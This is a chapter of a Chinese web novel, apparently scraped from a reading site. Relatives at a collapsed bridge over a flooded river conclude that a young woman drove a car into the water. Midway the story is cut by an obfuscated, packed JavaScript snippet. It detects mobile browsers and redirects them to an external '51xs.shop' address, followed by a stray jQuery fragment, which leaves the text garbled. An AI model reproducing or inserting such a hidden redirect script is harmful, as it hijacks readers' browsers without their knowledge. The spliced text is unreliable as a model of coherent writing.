谢东良好不容易捡回了一条命,吓得三魂没了六魄,下意识地跟在谢锦棠的后面往回跑,直到回到了岸边踏上了泥地,才劫后余生地松了一口气。
还好,桥还好好的,没有塌下去。
但车呢?谢锦年人呢?
“叔,是杨老师回来开车带着她走了,还把桥弄断了吗?”谢锦棠百思不得其解。
谢东良脸色铁青,下意识地觉得不合理:“不对,如果杨盛文敢开上这道桥,我们根本不可能在这里追上他们……”
怎么看,杨盛文都是弃车背着赵姬逃跑的,如果他敢开,又怎么会把车扔在这里?这完全不合理啊!
谢锦棠也反应过来了:“那这是怎么回事?车没了,锦年也不见了……”他说着,忽然闪过了一个可怕的念头:“叔,你说会不会是锦年开着车冲上了桥,然后桥垮了……”他的脸色瞬间苍白。
谢东良脸上的血色迅速褪去,猛地一把抓住了谢东棠的衣领,失控道:“你说什么?你再说一遍?!”
谢锦棠看着谢东良失控的可怕样子,一下就不敢说了。
谢东良慌乱地放开他,心跳如雷,太阳穴突突地跳,仿佛有人拿着针在使劲地往他最脆弱的地方戳,这一切都是怎么回事?想不通,他完全想不通。
他强迫自己冷静下来,他眼眶通红,手上青筋暴起,嘴里念念有词:“不可能的,这不可能的……一定是杨盛文回来把她带走了,把车开走了,然后把桥砍断了,一定是这样,一定是这样的。”
谢锦棠此时已经有点反应过来了,他拉住谢东良,目光担忧地看着他:“二叔,你冷静一点……”
谢东良睁大满是红血丝的眼睛,狠狠地盯着谢锦棠:“一定是他回来了对不对?他见我们睡着了,回来把锦年带走了,一定是这样!锦年一定不可能自杀的是不是?”
谢锦棠不敢讲话,只好顺着他的话点头如捣蒜:“对对对,一定是这样的,锦年好好的怎么会自杀,肯定是杨盛文回来把她带走了……”
谢东良像一只被困在小笼子里的野兽般焦躁不安:“怎么办?我要过桥,我要追上去问一问,杨盛文把锦年带到哪里去了……”他提脚又要上桥,被谢锦棠拉住:“二叔,你冷静一点,这桥不安全……”
谢东良大怒:“那你说怎么办?你说怎么办?我老婆跑了,女儿生死不明,你要我留在这里干什么?”
谢锦棠急急道:“我们在这里等,我们村里的人,还有我爸,他们肯定追在我们后面的,等人多一点了,我们再好好商量下一步怎么办,但我们千万不能再上桥了,这桥不知道什么时候要倒!”
谢东良像被打了一棍子般猛地清醒了过来,他伸手揉了一下脸,深深地吐了一口气:“对,对,村里的人一定会来的,我们等一等,等人齐的时候再决定怎么办,这桥只断了两截,离岸上也就五六米的样子,等人来了,搞个藤条还是竹子什么的,总是有办法过去的……”
两人像热窝上的蚂蚁一般急得在原地团团乱转,心急如焚地等着前来支援的人,可天空不作美,一个多小时后又开始下雨。
先是小雨,慢慢地越来越大,又成了中雨,山上的泥水很快就积流成河,漱漱响着流下了怒吞江。脚下的怒吞江水沸腾得更厉害了,一波又一波的大浪席卷着冲刷着那一截断桥,不多时,“哗啦”地一声巨响,吊在半空中的那截桥面彻底断开,在两人惊悚的目光下坠入了混黄的江水中,被吞得踪影全无。
谢锦棠凝望着那汹涌混黄的江水,留意着那一截桥面是否会浮出水面,但没有,那么一大截桥面掉下去后完全不见了踪影,根本不知道底下的暗涌把它卷到了何方。
他浑身激泠泠地打了个冷战,不由想起了谢锦年……
虽然家里一直把他当成孩子看,但他实际年龄已经22岁了,就算是在后世,也是个成年人了,他当然不会还保留着孩子的思维。
他们不过是打个盹的功夫,谢锦年连人带车都不见了,桥还断了,硬要把这件事扯到杨盛文的身上,他已经觉得完全不合理了。
杨盛文是在他们的眼皮子底下背着赵姬逃跑的,在他们的压力下,他跑都来不及,又怎敢回头找谢锦年?
如果他真的敢把车开过桥,早就带着谢锦年跟赵姬逃之夭夭了,他们也不可能在桥头这里追上他们。
杨盛文弃车而逃最根本的理由,就是他不敢开车过这道桥,那他又怎么可能在背着赵姬逃跑后,又跑回来开车带着赵锦年走?这不是自相矛盾吗?
唯一合理的解释就是车是谢锦年开走的,她根本就是存了死志,怕庞荣追上来后开车去追赶杨盛文跟赵姬,所以她存了死志的同时,干脆把车也毁了,断了他们追捕的路……
然后桥断了,她连人带车冲进了怒吞江……
但这样的话他怎敢在谢东良面前说出口?他恍恍惚惚地想,如果当时他不是一时心软放过了追赵姬,那他跟谢东良肯定能追上杨盛文跟赵姬,谢锦年就不会有机会避开他们开着车坠江了……
而造成这一切后果的,似乎跟他的婚事脱不开关系。
谢锦棠心里堵得厉害,第一次对这个堂妹产生了愧疚的想法。
因为家里一直不重视谢锦年,又这样的态度对待赵姬,谢锦棠要说跟这个堂妹有什么太深的感情,那也说不上,他最多只会在谢锦丽欺负谢锦年太过火的时候瞪一瞪自己的妹妹,让她别太过分,其他的交集也说不上了,在他面前,谢锦年就是个透明人一般,安静,胆小,懦弱又听话,一点存在感也没有。
他从没想过她竟然会有抗争的想法,而且一抗争起来就这么决绝,竟然以命相拼。
是因为换亲,让她产生了逃跑的念头吗?
那造成这样结果的,不正是他这个受益的当事人吗?
他忽然有点不安起来,他自认自己在这件事里没表达过什么意见,一切都是家人做主,但受益的总归是他,如果堂妹真的因此开车坠江,他还是会觉得有点愧疚的。
想通这一切后,他更加不敢在谢东良面前说什么的,心里只盼着家里人快点来,快点有人来做主,他就不用面对濒临崩溃的二叔了。
“混账!可恶!我要杀了他,我要杀了杨盛文!”谢东良双目赤红,手握成拳一拳一拳地捶在地面,地上很快就被捶出了一个小坑,他的手背上鲜血混着泥土跟雨水,在地上流下一道浅粉色的水流,看着让人触目惊心。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13096110|137739||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>谢锦棠担心地唤道:“二叔,你冷静点。”
谢东良浑不在意地甩了甩手,一把扯开了披在身上的蓑衣扔到了地上,任由雨水冲刷着满身的怒火,仿佛这样就能熄灭心里的不安。
“家里怎么还没有来人?”他忽然怒道,“是不是见我买了个媳妇就不当我是三花村的人了?为什么这么久还没有人来?”
谢锦棠见他已经开始失控发怒了,也急得不行:“不可能的,他们肯定是在来的路上了,只是没想到我们会追出这么远,二叔,我们到树下避避雨等一等吧,家里一定会来人的。”
好说歹说,终于把谢东良扯到了大树下,谢锦棠隔几分钟就探出头去看一看有没有人来,终于等到太阳快下山了,云散雨收,才等来了两个风尘仆仆的人。
“爸!”谢锦棠冲了出去,满脸的惊喜:“你终于来了!”
谢东升见到儿子也满脸的惊喜,虽然一身疲惫,但找到人了总是能安心点,他也一脸惊喜:“可算追上你们了,你二叔呢?”
谢东良已经沉着脸走了过来:“怎么只有两个人过来?村里人呢?”他的目光不善地望着一边的庞荣。
谢东升见弟弟说话不像样,连忙打断他:“村里人追到丰收集市就回去了,这个是司机庞荣,我跟他一起追过来了。”
“就你们两个追过来有个鸟用!”谢东良忽然大喝,愤怒地用脚跺着地上的泥,一下就跺出了一个坑。
谢东升吓了一跳:“老二,你疯了吗?你怎么能说这种话?”一边说一边把狐疑的目光看向了儿子。
谢锦棠没办法,只好把事情的完整经过从头到尾说了一遍:“总之,现在已经桥已经断了,没办法追了。”
“我呸!”庞荣听了个全场,吐了口唾沫,恶狠狠道:“还追个球!你那闺女九成是开着我的车坠江里了!”
“你胡说八道什么?!”谢东良像被咬到了尾巴一样,整个人跳了起来,捏着拳头就往庞荣身上揍。
庞荣冷不妨被他揍了一拳,心头火也大了,抡圆了胳膊就揍了回去,两个人迅速在泥地里滚成了一团,谢东升跟谢锦棠一人抱一个,拼命地拉架,一人身上都被捶了好几下。
等把两人分开,四个人都成了泥人,谢东良被谢锦棠抱着,忽然就捂着脸号啕大哭起来。
庞荣本来还满脸怒火,望着跪在地上哭成了个泪人的谢东良,吐了口带血的唾沫,最终还是铁青着脸一句话也没说。
谢东升身体累,心更累,他不想放弃希望,问庞荣:“咋就坠江了呢?就不能是杨盛文回来把她带走了?”
庞荣指了指那座桥:“我就是笃定杨盛文不敢开过这道桥我才跟着你追过来的,否则你还想用两条腿追上四个轮子的车?你没听你儿子讲他们追上来的时候杨盛文是弃车背着人逃的吗?如果他敢开,早开着车走了,怎么会把你侄女留在这里?”
所以唯一的解释就是车是谢锦年开的,她开着车上了桥,桥塌了,连人带车冲进了怒吞江里。
他望了一眼混黄的江水,又看了一眼哭得瘫倒在地上的谢东良,叹了口气:“真是倒霉透了,这么大的水,连人带车冲进去也不知道会被卷到哪里,连个尸体都不好找……”